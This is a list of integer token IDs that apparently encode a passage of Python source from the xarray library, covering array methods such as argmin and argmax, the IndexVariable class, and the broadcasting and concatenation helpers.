336,
955,
29918,
1191,
1195,
3317,
29918,
6229,
29918,
29900,
29908,
13,
4706,
2302,
353,
29871,
29896,
13,
4706,
1550,
716,
6229,
978,
297,
1583,
29889,
6229,
29879,
29901,
13,
9651,
716,
6229,
978,
353,
285,
29908,
29918,
348,
336,
955,
29918,
1191,
1195,
3317,
29918,
6229,
648,
2798,
5038,
13,
9651,
2302,
4619,
29871,
29896,
13,
13,
4706,
5096,
287,
353,
1583,
29889,
1429,
3319,
1482,
6229,
978,
29901,
3964,
1800,
13,
13,
4706,
1121,
29918,
6229,
29879,
353,
5096,
287,
29889,
6229,
29879,
7503,
29899,
29896,
29962,
13,
4706,
10032,
29918,
12181,
353,
18761,
29898,
1311,
29889,
29879,
7093,
29961,
29881,
29962,
363,
270,
297,
3964,
29897,
13,
13,
4706,
1121,
29918,
20620,
29918,
513,
1575,
353,
5096,
287,
29889,
17469,
29898,
1191,
1195,
3317,
29918,
9891,
29892,
9685,
10457,
29896,
29892,
14383,
1056,
29922,
11014,
1056,
29897,
13,
13,
4706,
1121,
29918,
348,
336,
955,
839,
29918,
513,
1575,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
348,
336,
955,
29918,
2248,
29898,
13,
9651,
1121,
29918,
20620,
29918,
513,
1575,
29889,
1272,
29892,
10032,
29918,
12181,
13,
4706,
1723,
13,
13,
4706,
1121,
353,
426,
13,
9651,
270,
29901,
28736,
29898,
6229,
29879,
29922,
2914,
29918,
6229,
29879,
29892,
848,
29922,
29875,
29897,
13,
9651,
363,
270,
29892,
474,
297,
14319,
29898,
6229,
29892,
1121,
29918,
348,
336,
955,
839,
29918,
513,
1575,
29897,
13,
4706,
500,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
4706,
565,
3013,
29918,
5552,
29879,
29901,
13,
9651,
363,
325,
297,
1121,
29889,
5975,
7295,
13,
18884,
325,
29889,
5552,
29879,
353,
1583,
29889,
5552,
29879,
13,
13,
4706,
736,
1121,
13,
13,
1678,
822,
1852,
1195,
29898,
13,
4706,
1583,
29892,
13,
4706,
3964,
29901,
7761,
29961,
10438,
519,
29892,
922,
3910,
29961,
10438,
519,
5262,
353,
6213,
29892,
13,
4706,
9685,
29901,
938,
353,
6213,
29892,
13,
4706,
3013,
29918,
5552,
29879,
29901,
6120,
353,
6213,
29892,
13,
4706,
14383,
1056,
29901,
6120,
353,
6213,
29892,
13,
1678,
1723,
1599,
7761,
3366,
16174,
613,
360,
919,
29961,
10438,
519,
29892,
376,
16174,
3108,
5387,
13,
4706,
9995,
3220,
470,
16285,
310,
278,
9212,
310,
278,
28736,
975,
697,
470,
901,
13391,
29889,
13,
4706,
960,
263,
5665,
338,
4502,
304,
525,
6229,
742,
769,
1121,
4133,
408,
9657,
310,
9586,
1849,
29892,
13,
4706,
607,
508,
367,
4502,
4153,
304,
338,
295,
2141,
960,
263,
2323,
851,
338,
4502,
304,
525,
6229,
29915,
769,
13,
4706,
3639,
263,
28736,
411,
26688,
938,
29889,
13,
13,
4706,
960,
727,
526,
2999,
1375,
2946,
29892,
278,
16285,
310,
278,
937,
697,
1476,
674,
367,
13,
4706,
4133,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
584,
6608,
519,
29892,
5665,
310,
6608,
519,
470,
2023,
29892,
13136,
13,
9651,
450,
13391,
975,
607,
304,
1284,
278,
9212,
29889,
2648,
2322,
29892,
14061,
9212,
975,
13,
9651,
599,
13391,
448,
363,
1286,
7863,
385,
938,
363,
1250,
1328,
24521,
29892,
541,
13,
9651,
445,
338,
18164,
29892,
297,
5434,
674,
736,
263,
9657,
411,
16285,
363,
599,
13,
9651,
13391,
29936,
304,
736,
263,
9657,
411,
599,
13391,
1286,
29892,
1209,
525,
856,
4286,
13,
4706,
9685,
584,
938,
29892,
13136,
13,
9651,
319,
11497,
975,
607,
304,
3394,
421,
1191,
1195,
1412,
9333,
697,
310,
278,
525,
6229,
29915,
322,
525,
8990,
29915,
6273,
13,
9651,
508,
367,
19056,
29889,
13,
4706,
3013,
29918,
5552,
29879,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
278,
8393,
6695,
5552,
29879,
6348,
674,
367,
13746,
515,
278,
2441,
13,
9651,
1203,
304,
278,
716,
697,
29889,
29871,
960,
7700,
313,
4381,
511,
278,
716,
1203,
674,
367,
13,
9651,
4133,
1728,
8393,
29889,
13,
4706,
14383,
1056,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
14383,
4567,
1819,
313,
294,
10902,
491,
18780,
467,
2648,
2322,
29892,
871,
13,
9651,
14993,
567,
4567,
1819,
363,
5785,
270,
8768,
29936,
916,
270,
8768,
2845,
437,
451,
13,
9651,
505,
263,
2665,
262,
295,
4567,
995,
313,
524,
29897,
470,
14383,
1056,
29922,
5574,
756,
451,
1063,
13,
9651,
8762,
313,
3318,
29892,
12865,
29953,
29946,
470,
5335,
287,
2554,
29953,
29946,
467,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1121,
584,
28736,
470,
9657,
310,
28736,
13,
13,
4706,
2823,
884,
13,
4706,
448,
26589,
13,
4706,
3630,
2588,
29889,
1191,
1195,
29892,
3630,
2588,
29889,
13140,
1195,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
348,
336,
955,
29918,
1191,
1195,
3317,
703,
1191,
1195,
613,
3964,
29892,
9685,
29892,
3013,
29918,
5552,
29879,
29892,
14383,
1056,
29897,
13,
13,
1678,
822,
1852,
3317,
29898,
13,
4706,
1583,
29892,
13,
4706,
3964,
29901,
7761,
29961,
10438,
519,
29892,
922,
3910,
29961,
10438,
519,
5262,
353,
6213,
29892,
13,
4706,
9685,
29901,
938,
353,
6213,
29892,
13,
4706,
3013,
29918,
5552,
29879,
29901,
6120,
353,
6213,
29892,
13,
4706,
14383,
1056,
29901,
6120,
353,
6213,
29892,
13,
1678,
1723,
1599,
7761,
3366,
16174,
613,
360,
919,
29961,
10438,
519,
29892,
376,
16174,
3108,
5387,
13,
4706,
9995,
3220,
470,
16285,
310,
278,
7472,
310,
278,
28736,
975,
697,
470,
901,
13391,
29889,
13,
4706,
960,
263,
5665,
338,
4502,
304,
525,
6229,
742,
769,
1121,
4133,
408,
9657,
310,
9586,
1849,
29892,
13,
4706,
607,
508,
367,
4502,
4153,
304,
338,
295,
2141,
960,
263,
2323,
851,
338,
4502,
304,
525,
6229,
29915,
769,
13,
4706,
3639,
263,
28736,
411,
26688,
938,
29889,
13,
13,
4706,
960,
727,
526,
2999,
5256,
29874,
29892,
278,
16285,
310,
278,
937,
697,
1476,
674,
367,
13,
4706,
4133,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
584,
6608,
519,
29892,
5665,
310,
6608,
519,
470,
2023,
29892,
13136,
13,
9651,
450,
13391,
975,
607,
304,
1284,
278,
7472,
29889,
2648,
2322,
29892,
14061,
7472,
975,
13,
9651,
599,
13391,
448,
363,
1286,
7863,
385,
938,
363,
1250,
1328,
24521,
29892,
541,
13,
9651,
445,
338,
18164,
29892,
297,
5434,
674,
736,
263,
9657,
411,
16285,
363,
599,
13,
9651,
13391,
29936,
304,
736,
263,
9657,
411,
599,
13391,
1286,
29892,
1209,
525,
856,
4286,
13,
4706,
9685,
584,
938,
29892,
13136,
13,
9651,
319,
11497,
975,
607,
304,
3394,
421,
1191,
1195,
1412,
9333,
697,
310,
278,
525,
6229,
29915,
322,
525,
8990,
29915,
6273,
13,
9651,
508,
367,
19056,
29889,
13,
4706,
3013,
29918,
5552,
29879,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
278,
8393,
6695,
5552,
29879,
6348,
674,
367,
13746,
515,
278,
2441,
13,
9651,
1203,
304,
278,
716,
697,
29889,
29871,
960,
7700,
313,
4381,
511,
278,
716,
1203,
674,
367,
13,
9651,
4133,
1728,
8393,
29889,
13,
4706,
14383,
1056,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
14383,
4567,
1819,
313,
294,
10902,
491,
18780,
467,
2648,
2322,
29892,
871,
13,
9651,
14993,
567,
4567,
1819,
363,
5785,
270,
8768,
29936,
916,
270,
8768,
2845,
437,
451,
13,
9651,
505,
263,
2665,
262,
295,
4567,
995,
313,
524,
29897,
470,
14383,
1056,
29922,
5574,
756,
451,
1063,
13,
9651,
8762,
313,
3318,
29892,
12865,
29953,
29946,
470,
5335,
287,
2554,
29953,
29946,
467,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1121,
584,
28736,
470,
9657,
310,
28736,
13,
13,
4706,
2823,
884,
13,
4706,
448,
26589,
13,
4706,
3630,
2588,
29889,
1191,
3317,
29892,
3630,
2588,
29889,
13140,
3317,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
348,
336,
955,
29918,
1191,
1195,
3317,
703,
1191,
3317,
613,
3964,
29892,
9685,
29892,
3013,
29918,
5552,
29879,
29892,
14383,
1056,
29897,
13,
13,
13,
3554,
29889,
21920,
29918,
497,
29918,
3554,
29918,
392,
29918,
17469,
29918,
23515,
29898,
16174,
29897,
13,
13,
13,
1990,
11374,
16174,
29898,
16174,
1125,
13,
1678,
9995,
15646,
363,
24803,
1218,
263,
11701,
29889,
3220,
297,
385,
921,
2378,
29889,
16174,
29889,
13,
13,
1678,
11374,
16174,
19905,
7500,
1819,
297,
278,
883,
310,
263,
11701,
29889,
3220,
2012,
13,
1678,
310,
263,
11848,
19737,
1409,
29889,
10133,
29892,
1009,
1819,
526,
5198,
9246,
322,
1818,
2337,
367,
697,
29899,
13,
1678,
22112,
29889,
13,
13,
1678,
2688,
884,
505,
263,
1024,
2875,
29892,
607,
338,
278,
1024,
310,
1009,
14419,
9927,
13,
1678,
6521,
1790,
1024,
338,
2183,
29889,
13,
1678,
9995,
13,
13,
1678,
4770,
2536,
1862,
1649,
353,
3861,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3964,
29879,
29892,
848,
29892,
12421,
29879,
29922,
8516,
29892,
8025,
29922,
8516,
29892,
5172,
2084,
29922,
8824,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29892,
8025,
29892,
5172,
2084,
29897,
13,
4706,
565,
1583,
29889,
299,
326,
2804,
29871,
29896,
29901,
13,
9651,
12020,
7865,
2392,
11702,
29879,
3618,
1818,
367,
29871,
29896,
29899,
12531,
29908,
1273,
1134,
29898,
1311,
467,
1649,
978,
1649,
29897,
13,
13,
4706,
396,
853,
4561,
297,
28736,
29892,
2337,
19888,
368,
2254,
1819,
964,
3370,
13,
4706,
565,
451,
338,
8758,
29898,
1311,
3032,
1272,
29892,
349,
7086,
3220,
6168,
1125,
13,
9651,
1583,
3032,
1272,
353,
349,
7086,
3220,
6168,
29898,
1311,
3032,
1272,
29897,
13,
13,
1678,
822,
4770,
29881,
1278,
29918,
6979,
675,
12035,
1311,
1125,
13,
4706,
515,
270,
1278,
29889,
3188,
1053,
4226,
675,
29918,
6979,
13,
13,
4706,
396,
3872,
29915,
29873,
19863,
931,
17415,
10518,
29889,
3220,
304,
7442,
29889,
299,
2378,
13,
4706,
736,
4226,
675,
29918,
6979,
3552,
1853,
29898,
1311,
511,
1583,
3032,
6229,
29879,
29892,
1583,
3032,
1272,
29889,
2378,
29892,
1583,
3032,
5552,
29879,
876,
13,
13,
1678,
822,
2254,
29898,
1311,
1125,
13,
4706,
396,
848,
338,
2307,
7500,
964,
3370,
363,
11374,
16174,
13,
4706,
736,
1583,
13,
13,
1678,
396,
2045,
597,
3292,
29889,
510,
29914,
4691,
29914,
1357,
2272,
29914,
12175,
29914,
29896,
29946,
29953,
29945,
13,
1678,
732,
16174,
29889,
1272,
29889,
842,
357,
29871,
396,
1134,
29901,
11455,
13,
1678,
822,
848,
29898,
1311,
29892,
848,
1125,
13,
4706,
12020,
7865,
2392,
29898,
13,
9651,
285,
29908,
29089,
3566,
304,
278,
869,
1272,
5352,
310,
9927,
14821,
263,
29889,
29895,
29889,
29874,
11374,
16174,
426,
1311,
29889,
978,
29991,
29878,
1836,
376,
13,
9651,
285,
29908,
12148,
671,
3630,
2588,
29889,
16645,
29918,
1111,
4339,
29892,
13373,
24541,
29889,
16645,
29918,
1111,
4339,
470,
13373,
24541,
29889,
16645,
408,
8210,
1213,
13,
4706,
1723,
13,
13,
1678,
732,
16174,
29889,
5975,
29889,
842,
357,
29871,
396,
1134,
29901,
11455,
13,
1678,
822,
1819,
29898,
1311,
29892,
1819,
1125,
13,
4706,
12020,
7865,
2392,
29898,
13,
9651,
285,
29908,
29089,
3566,
304,
278,
869,
5975,
5352,
310,
9927,
14821,
263,
29889,
29895,
29889,
29874,
11374,
16174,
426,
1311,
29889,
978,
29991,
29878,
1836,
376,
13,
9651,
285,
29908,
12148,
671,
3630,
2588,
29889,
16645,
29918,
1111,
4339,
29892,
13373,
24541,
29889,
16645,
29918,
1111,
4339,
470,
13373,
24541,
29889,
16645,
408,
8210,
1213,
13,
4706,
1723,
13,
13,
1678,
822,
19875,
29898,
1311,
29892,
521,
18801,
3790,
1118,
1024,
29922,
8516,
29892,
7714,
29922,
8824,
1125,
13,
4706,
396,
360,
11770,
448,
437,
451,
19875,
29889,
910,
1158,
338,
22336,
321,
29889,
29887,
29889,
491,
13373,
24541,
29889,
29812,
580,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
1678,
822,
903,
294,
29918,
29879,
5510,
29898,
1311,
29892,
29234,
29918,
4830,
29922,
29918,
4381,
29892,
5445,
29918,
1767,
29922,
29918,
4381,
1125,
13,
4706,
396,
360,
11770,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
1678,
822,
903,
517,
29918,
1145,
344,
29898,
1311,
1125,
13,
4706,
396,
360,
11770,
13,
4706,
736,
1583,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
13,
1678,
822,
903,
8394,
675,
29918,
2248,
292,
29918,
2914,
29898,
1311,
29892,
3964,
29879,
29892,
848,
1125,
13,
4706,
565,
679,
5552,
29898,
1272,
29892,
376,
299,
326,
613,
29871,
29900,
29897,
2804,
29871,
29896,
29901,
13,
9651,
396,
3639,
28736,
3265,
1135,
11374,
16174,
565,
2473,
29899,
12531,
13,
9651,
736,
28736,
29898,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
1134,
29898,
1311,
5033,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1820,
29892,
995,
1125,
13,
4706,
12020,
20948,
11702,
29879,
1819,
2609,
367,
9120,
29908,
1273,
1134,
29898,
1311,
467,
1649,
978,
1649,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3022,
271,
29898,
25932,
29892,
3651,
29892,
3964,
543,
17685,
29918,
6229,
613,
11909,
29922,
8516,
29892,
21697,
29922,
8824,
1125,
13,
4706,
9995,
24780,
1891,
1873,
310,
28736,
29889,
17685,
363,
11374,
16174,
3618,
29889,
13,
13,
4706,
910,
4864,
1363,
591,
864,
304,
4772,
17415,
11374,
3618,
304,
11848,
19737,
13,
4706,
7049,
29892,
565,
1950,
29889,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
6229,
29892,
851,
1125,
13,
9651,
313,
6229,
29892,
29897,
353,
3964,
29889,
6229,
29879,
13,
13,
4706,
3651,
353,
1051,
29898,
20897,
29897,
13,
4706,
937,
29918,
1707,
353,
3651,
29961,
29900,
29962,
13,
13,
4706,
565,
738,
29898,
1333,
338,
8758,
29898,
29894,
29892,
1067,
29879,
29897,
363,
325,
297,
3651,
1125,
13,
9651,
12020,
20948,
29898,
13,
18884,
376,
3220,
16174,
29889,
17685,
6858,
393,
599,
1881,
376,
13,
18884,
376,
20897,
367,
11374,
16174,
3618,
29908,
13,
9651,
1723,
13,
13,
4706,
18111,
353,
518,
29894,
3032,
1272,
29889,
2378,
363,
325,
297,
3651,
29962,
13,
13,
4706,
565,
451,
18111,
29901,
13,
9651,
848,
353,
5159,
13,
4706,
1683,
29901,
13,
9651,
848,
353,
18111,
29961,
29900,
1822,
4397,
29898,
2248,
267,
29961,
29896,
29901,
2314,
13,
13,
9651,
565,
11909,
338,
451,
6213,
29901,
13,
18884,
16285,
353,
302,
649,
2719,
29889,
262,
3901,
29918,
546,
6149,
362,
29898,
9302,
29889,
535,
29883,
2579,
403,
29898,
1066,
2187,
876,
13,
18884,
848,
353,
848,
29889,
19730,
29898,
513,
1575,
29897,
13,
13,
4706,
12421,
29879,
353,
9657,
29898,
4102,
29918,
1707,
29889,
5552,
29879,
29897,
13,
4706,
565,
451,
21697,
29901,
13,
9651,
363,
722,
297,
3651,
29901,
13,
18884,
565,
722,
29889,
6229,
29879,
2804,
937,
29918,
1707,
29889,
6229,
29879,
29901,
13,
462,
1678,
12020,
7865,
2392,
703,
262,
3200,
9696,
13391,
1159,
13,
18884,
3667,
29879,
29889,
5992,
29918,
262,
23712,
29918,
7076,
29898,
5552,
29879,
29892,
722,
29889,
5552,
29879,
29897,
13,
13,
4706,
736,
1067,
29879,
29898,
4102,
29918,
1707,
29889,
6229,
29879,
29892,
848,
29892,
12421,
29879,
29897,
13,
13,
1678,
822,
3509,
29898,
1311,
29892,
6483,
29922,
5574,
29892,
848,
29922,
8516,
1125,
13,
4706,
9995,
11609,
29879,
263,
3509,
310,
445,
1203,
29889,
13,
13,
4706,
421,
24535,
29952,
338,
17262,
1951,
848,
338,
6087,
297,
278,
883,
310,
13,
4706,
11701,
29889,
3220,
29892,
607,
338,
2307,
5198,
9246,
29889,
4792,
5580,
29892,
8393,
13,
4706,
322,
2094,
397,
886,
526,
2337,
13746,
29889,
13,
13,
4706,
4803,
421,
1272,
29952,
304,
1653,
263,
716,
1203,
411,
278,
1021,
3829,
408,
13,
4706,
2441,
541,
9186,
716,
848,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
6483,
584,
6120,
29892,
13136,
13,
9651,
21784,
338,
17262,
746,
848,
338,
2183,
29889,
26460,
278,
848,
1409,
338,
13,
9651,
7500,
964,
3370,
322,
13746,
11480,
278,
716,
1203,
29889,
13109,
338,
5852,
29889,
13,
4706,
848,
584,
1409,
29918,
4561,
29892,
13136,
13,
9651,
3630,
304,
671,
297,
278,
716,
1203,
29889,
19928,
505,
1021,
8267,
408,
2441,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1203,
584,
28736,
13,
9651,
1570,
1203,
411,
13391,
29892,
8393,
29892,
2094,
397,
886,
29892,
322,
2984,
635,
13,
9651,
848,
13746,
515,
2441,
29889,
13,
4706,
9995,
13,
4706,
565,
848,
338,
6213,
29901,
13,
9651,
848,
353,
1583,
3032,
1272,
29889,
8552,
29898,
24535,
29922,
24535,
29897,
13,
4706,
1683,
29901,
13,
9651,
848,
353,
408,
29918,
23712,
29918,
1272,
29898,
1272,
29897,
13,
9651,
565,
1583,
29889,
12181,
2804,
848,
29889,
12181,
29901,
13,
18884,
12020,
7865,
2392,
29898,
13,
462,
1678,
376,
1469,
8267,
6571,
1818,
1993,
8267,
310,
1203,
6571,
1642,
4830,
29898,
13,
462,
4706,
848,
29889,
12181,
29892,
1583,
29889,
12181,
13,
462,
1678,
1723,
13,
18884,
1723,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
848,
29892,
1583,
3032,
5552,
29879,
29892,
1583,
3032,
22331,
29892,
5172,
2084,
29922,
5574,
29897,
13,
13,
1678,
822,
15743,
29898,
1311,
29892,
916,
29892,
1592,
440,
29922,
8516,
1125,
13,
4706,
396,
565,
1592,
440,
338,
6790,
29892,
2428,
701,
13,
4706,
565,
1592,
440,
338,
451,
6213,
29901,
13,
9651,
736,
2428,
2141,
10954,
29898,
1228,
29892,
1592,
440,
29897,
13,
13,
4706,
396,
6467,
671,
278,
7531,
2380,
15743,
29892,
3265,
1135,
3063,
472,
903,
1272,
13,
4706,
916,
353,
679,
5552,
29898,
1228,
29892,
376,
11918,
613,
916,
29897,
13,
4706,
1018,
29901,
13,
9651,
736,
1583,
29889,
6229,
29879,
1275,
916,
29889,
6229,
29879,
322,
1583,
3032,
1272,
29918,
10954,
29898,
1228,
29897,
13,
4706,
5174,
313,
1542,
2392,
29892,
23833,
2392,
1125,
13,
9651,
736,
7700,
13,
13,
1678,
822,
903,
1272,
29918,
10954,
29898,
1311,
29892,
916,
1125,
13,
4706,
736,
1583,
29889,
517,
29918,
2248,
2141,
10954,
29898,
1228,
29889,
517,
29918,
2248,
3101,
13,
13,
1678,
822,
304,
29918,
2248,
29918,
11918,
29898,
1311,
1125,
13,
4706,
9995,
11609,
445,
2286,
408,
385,
921,
2378,
29889,
3220,
16174,
15945,
29908,
13,
4706,
736,
1583,
13,
13,
1678,
304,
29918,
1111,
536,
353,
3667,
29879,
29889,
19973,
29898,
517,
29918,
2248,
29918,
11918,
29892,
376,
517,
29918,
1111,
536,
1159,
13,
13,
1678,
822,
304,
29918,
2248,
29898,
1311,
1125,
13,
4706,
9995,
18455,
445,
2286,
304,
263,
11701,
29889,
3220,
15945,
29908,
13,
4706,
396,
302,
29889,
29890,
29889,
4969,
263,
716,
11701,
29889,
3220,
515,
385,
2030,
11701,
29889,
3220,
338,
13,
4706,
396,
8830,
3889,
408,
11701,
29889,
3220,
3618,
526,
5198,
9246,
13,
4706,
4974,
1583,
29889,
299,
326,
1275,
29871,
29896,
13,
4706,
2380,
353,
1583,
3032,
1272,
29889,
2378,
13,
4706,
565,
338,
8758,
29898,
2248,
29892,
10518,
29889,
15329,
3220,
1125,
13,
9651,
396,
731,
2322,
2983,
363,
2473,
29899,
2248,
443,
17514,
11174,
577,
393,
13,
9651,
396,
591,
508,
23511,
19508,
9927,
847,
14821,
2678,
13,
9651,
2854,
29918,
5563,
29918,
7039,
353,
518,
13,
18884,
1024,
470,
29850,
2403,
5563,
648,
29913,
1642,
4830,
29898,
1311,
29889,
6229,
29879,
29961,
29900,
1402,
474,
29897,
13,
18884,
363,
474,
29892,
1024,
297,
26985,
29898,
2248,
29889,
7039,
29897,
13,
9651,
4514,
13,
9651,
2380,
353,
2380,
29889,
842,
29918,
7039,
29898,
3084,
29918,
5563,
29918,
7039,
29897,
13,
4706,
1683,
29901,
13,
9651,
2380,
353,
2380,
29889,
842,
29918,
7039,
29898,
1311,
29889,
978,
29897,
13,
4706,
736,
2380,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3233,
29918,
7039,
29898,
1311,
1125,
13,
4706,
9995,
11609,
14974,
3220,
3233,
2983,
470,
6213,
565,
445,
11374,
16174,
756,
694,
13,
4706,
14974,
3220,
29889,
13,
4706,
9995,
13,
4706,
2380,
353,
1583,
29889,
517,
29918,
2248,
580,
13,
4706,
565,
338,
8758,
29898,
2248,
29892,
10518,
29889,
15329,
3220,
1125,
13,
9651,
736,
2380,
29889,
7039,
13,
4706,
1683,
29901,
13,
9651,
736,
6213,
13,
13,
1678,
822,
679,
29918,
5563,
29918,
11918,
29898,
1311,
29892,
3233,
1125,
13,
4706,
9995,
11609,
263,
716,
11374,
16174,
515,
263,
2183,
14974,
3220,
3233,
1213,
15945,
13,
4706,
565,
1583,
29889,
5563,
29918,
7039,
338,
6213,
29901,
13,
9651,
12020,
7865,
2392,
703,
3220,
16174,
1273,
29878,
756,
694,
14974,
3220,
29908,
1273,
1583,
29889,
978,
29897,
13,
4706,
2380,
353,
1583,
29889,
517,
29918,
2248,
580,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
2380,
29889,
657,
29918,
5563,
29918,
5975,
29898,
5563,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1024,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
6229,
29879,
29961,
29900,
29962,
13,
13,
1678,
732,
978,
29889,
842,
357,
13,
1678,
822,
1024,
29898,
1311,
29892,
995,
1125,
13,
4706,
12020,
23833,
2392,
703,
29883,
6735,
6623,
1024,
310,
11374,
16174,
297,
29899,
6689,
1159,
13,
13,
13,
29937,
363,
28953,
24521,
13,
7967,
16065,
353,
3667,
29879,
29889,
19973,
29898,
3220,
16174,
29892,
376,
7967,
16065,
1159,
13,
13,
13,
1753,
903,
348,
2164,
29918,
6229,
29879,
29898,
20897,
1125,
13,
1678,
396,
12725,
13391,
13,
1678,
599,
29918,
6229,
29879,
353,
6571,
13,
1678,
363,
722,
297,
3651,
29901,
13,
4706,
722,
29918,
6229,
29879,
353,
722,
29889,
6229,
29879,
13,
4706,
565,
7431,
29898,
842,
29898,
1707,
29918,
6229,
29879,
876,
529,
7431,
29898,
1707,
29918,
6229,
29879,
1125,
13,
9651,
12020,
7865,
2392,
29898,
13,
18884,
376,
6729,
328,
4384,
292,
2609,
4386,
7929,
376,
13,
18884,
376,
6229,
5580,
29901,
1273,
29878,
29908,
1273,
1051,
29898,
1707,
29918,
6229,
29879,
29897,
13,
9651,
1723,
13,
4706,
363,
270,
29892,
269,
297,
14319,
29898,
1707,
29918,
6229,
29879,
29892,
722,
29889,
12181,
1125,
13,
9651,
565,
270,
451,
297,
599,
29918,
6229,
29879,
29901,
13,
18884,
599,
29918,
6229,
29879,
29961,
29881,
29962,
353,
269,
13,
9651,
25342,
599,
29918,
6229,
29879,
29961,
29881,
29962,
2804,
269,
29901,
13,
18884,
12020,
7865,
2392,
29898,
13,
462,
1678,
376,
3372,
4167,
2609,
367,
12672,
4208,
376,
13,
462,
1678,
376,
2541,
29635,
287,
27497,
363,
9927,
1273,
29878,
29901,
1273,
29879,
29908,
13,
462,
1678,
1273,
313,
29881,
29892,
313,
497,
29918,
6229,
29879,
29961,
29881,
1402,
269,
876,
13,
18884,
1723,
13,
1678,
736,
599,
29918,
6229,
29879,
13,
13,
13,
1753,
903,
6729,
328,
4384,
29918,
12667,
29918,
20897,
10456,
20897,
1125,
13,
1678,
9995,
4391,
12672,
15878,
3651,
29892,
411,
278,
1021,
13391,
29889,
13,
13,
1678,
853,
4561,
278,
1121,
310,
12672,
29918,
20897,
3285,
777,
3651,
1122,
505,
13,
1678,
13391,
310,
2159,
29871,
29896,
2012,
310,
278,
278,
2159,
310,
278,
12672,
9927,
29889,
13,
1678,
9995,
13,
1678,
3964,
29879,
353,
18761,
7373,
348,
2164,
29918,
6229,
29879,
29898,
20897,
876,
13,
1678,
736,
18761,
29898,
1707,
29889,
842,
29918,
6229,
29879,
29898,
6229,
29879,
29897,
565,
722,
29889,
6229,
29879,
2804,
3964,
29879,
1683,
722,
363,
722,
297,
3651,
29897,
13,
13,
13,
1753,
12672,
29918,
20897,
10456,
20897,
1125,
13,
1678,
9995,
29954,
5428,
738,
1353,
310,
3651,
29892,
736,
3651,
411,
9686,
13391,
13,
1678,
322,
12672,
848,
29889,
13,
13,
1678,
450,
848,
373,
278,
4133,
3651,
674,
367,
263,
1776,
310,
278,
848,
373,
278,
13,
1678,
6590,
2441,
7049,
29892,
541,
13391,
674,
367,
337,
21693,
322,
13,
1678,
15478,
577,
393,
1716,
12672,
7049,
505,
278,
1021,
13391,
29889,
450,
716,
13,
1678,
13391,
526,
12705,
297,
1797,
310,
10097,
297,
278,
937,
2286,
29915,
29879,
13,
1678,
13391,
5643,
491,
278,
1473,
2286,
29915,
29879,
13391,
29889,
13,
1678,
9995,
13,
1678,
3964,
29879,
29918,
1958,
353,
903,
348,
2164,
29918,
6229,
29879,
29898,
20897,
29897,
13,
1678,
3964,
29879,
29918,
23583,
353,
18761,
29898,
6229,
29879,
29918,
1958,
29897,
13,
1678,
736,
18761,
29898,
13,
4706,
722,
29889,
842,
29918,
6229,
29879,
29898,
6229,
29879,
29918,
1958,
29897,
565,
722,
29889,
6229,
29879,
2804,
3964,
29879,
29918,
23583,
1683,
722,
363,
722,
297,
3651,
13,
1678,
1723,
13,
13,
13,
1753,
903,
6729,
328,
4384,
29918,
12667,
29918,
1272,
29898,
1311,
29892,
916,
1125,
13,
1678,
565,
599,
29898,
5349,
5552,
29898,
1228,
29892,
12421,
29897,
363,
12421,
297,
6796,
6229,
29879,
613,
376,
1272,
613,
376,
12181,
613,
376,
22331,
3108,
1125,
13,
4706,
396,
421,
1228,
29952,
17150,
278,
5181,
28736,
3450,
363,
12672,
29918,
20897,
13,
4706,
716,
29918,
1311,
29892,
716,
29918,
1228,
353,
903,
6729,
328,
4384,
29918,
12667,
29918,
20897,
29898,
1311,
29892,
916,
29897,
13,
4706,
1583,
29918,
1272,
353,
716,
29918,
1311,
29889,
1272,
13,
4706,
916,
29918,
1272,
353,
716,
29918,
1228,
29889,
1272,
13,
4706,
3964,
29879,
353,
716,
29918,
1311,
29889,
6229,
29879,
13,
1678,
1683,
29901,
13,
4706,
396,
19104,
373,
12655,
12672,
292,
6865,
13,
4706,
1583,
29918,
1272,
353,
1583,
29889,
1272,
13,
4706,
916,
29918,
1272,
353,
916,
13,
4706,
3964,
29879,
353,
1583,
29889,
6229,
29879,
13,
1678,
736,
1583,
29918,
1272,
29892,
916,
29918,
1272,
29892,
3964,
29879,
13,
13,
13,
1753,
3022,
271,
29898,
20897,
29892,
3964,
543,
17685,
29918,
6229,
613,
11909,
29922,
8516,
29892,
21697,
29922,
8824,
1125,
